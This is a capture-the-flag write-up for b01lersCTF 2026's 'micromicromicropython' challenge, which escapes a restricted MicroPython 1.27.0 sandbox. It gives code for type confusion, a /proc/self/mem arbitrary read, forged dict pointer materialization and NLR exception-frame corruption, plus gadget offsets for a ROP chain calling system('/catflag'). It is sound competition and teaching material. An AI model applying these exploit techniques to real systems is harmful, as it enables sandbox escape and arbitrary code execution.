micromicromicropython
b01lersCTF
Task: MicroPython v1.27.0 sandbox with os module disabled, execute /catflag binary. Solution: Bootstrap hidden VFS primitives via type confusion, achieve arbitrary read via /proc/self/mem, materialize raw pointers as Python objects via forged dict tables, corrupt NLR exception frame to pivot to ROP chain calling system('/catflag').
$ ls tags/ techniques/
micromicromicropython - b01lersCTF 2026
Description
MicroPython sandbox challenge. Remote runs MicroPython v1.27.0 minimal variant with
osmodule patched out. Goal: execute/catflagto get the flag.
The challenge presented a restricted MicroPython REPL where standard modules like os, ffi, uctypes, gc were unavailable. The process ran as uid 1000 with seccomp enabled and NoNewPrivs. The /catflag binary had mode 0111 (execute-only).
Analysis
Sandbox Reconnaissance
Initial probing revealed:
- MicroPython v1.27.0 minimal build
import sysandimport builtinsworkos,ffi,uctypes,gc,array,structall fail- Process runs with seccomp, no capabilities
- Filesystem is read-only overlay
Key insight: While os module was disabled via MICROPY_PY_OS, the underlying VFS (Virtual File System) primitives still existed in the binary - just not exposed to Python namespace.
Type Confusion Bootstrap
MicroPython's super() mechanism combined with slot manipulation enabled access to hidden internal objects:
X = type("X", (dict,), {}) super(X, X).__init__(staticmethod(lambda: 0)) T = super(X, X).copy() class W(list): def __init__(self, tgt, *args): self = tgt # Type confusion super().__init__(*args) try: W(T, "Y", (type,), {"poke": W.__init__}) except: pass o = __import__("sys").implementation c = {} c.poke(c, {}) # Iterate fake dict over sys.implementation to find hidden VFS it = iter(c.items(o)) for _ in range(10): next(it) Dv = next(it)[1] # VfsPosix locals dict it = iter(c.items(o)) for _ in range(26): next(it) Dr = next(it)[1] # rawfile locals dict
This yielded hidden methods: openf, readf, seekf, writef, closef, statf, listdirf.
Arbitrary Read via /proc/self/mem
With VFS primitives, /proc/self/mem provided arbitrary memory read:
mem = openf([], b'/proc/self/mem', 'rb') seekf(mem, target_address) data = readf(mem, size)
Used to dump MicroPython binary and musl libc, recovering key offsets.
Raw Pointer Materialization
Forged dict table entries to materialize arbitrary raw pointers as Python objects:
TB = (0,0,0,0,0,0,0,0) # Fake mp_map_elem_t table M = {0: 0} # Real dict to corrupt WTB = (None, TB, None, None) + (None,)*60 WM = (None, M, None, False) + (None,)*60 # Write target pointer into TB p = b"/" + b"A"*18 + target_ptr.to_bytes(8, "little")[:6] openf(WTB, p, "r") # Patch M.table to point to TB+24 p = b"/" + b"A"*10 + (id(TB)+16).to_bytes(8, "little")[:6] openf(WM, p, "r") # Materialize it = iter(M.items()) OBJ = next(it)[1] # Raw pointer as Python object
Write Primitive Constraints
The write primitive via openf(W, path, 'r') always wrote / (0x2f) as first byte. Gadgets with low byte 0x2f were identified:
pop rdi; retat musl+0x44a2fsyscall; retat musl+0x43d2fadd rsp, 8; retat musl+0x5142f
NLR Exception Pivot
MicroPython helper at offset 0x842f: xor eax,eax; mov [nlr_top], rdi; ret
This allowed setting the global NLR (exception handler) pointer to a fake frame.
Solution
Final exploit flow:
- Bootstrap hidden VFS primitives via type confusion
- Read
/proc/self/mapsto get musl and micropython base addresses - Find heap-resident
builtin_fixed_1function object (closef) - Materialize it as Python object via forged dict
- Patch its function pointer to helper at micropython+0x842f
- Create fake NLR frame with controlled RSP/RIP
- Call patched function with fake frame address
- Trigger
1/0exception - Exception unwinds through fake frame, pivots to ROP chain
- ROP calls
system("/catflag")
Key offsets:
- MicroPython helper: 0x842f
- musl pop rdi; ret: 0x44a2f
- musl add rsp, 8; ret: 0x5142f
- musl system: 0x5c5b6
# Fake NLR frame layout A = bytearray(256) A_addr = id(A) + 32 # saved RSP -> A+0x80, saved RIP -> pop_rdi_ret # Stack: ["/catflag" ptr] [skip gadget] [poison] [system] F1(A_addr) # Set nlr_top to fake frame 1/0 # Trigger exception -> unwind -> ROP -> system("/catflag")
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [reverse][Pro]Baby (Obfuscated) Flag Checker— uoftctf2026
- [web][Pro]Flag Admin v1— web-kids20
- [misc][Pro]Chrono Mind— HackTheBox
- [reverse][Pro]SuiGeneris— caplag
- [pwn][Pro]Knight Squad Academy— knightctf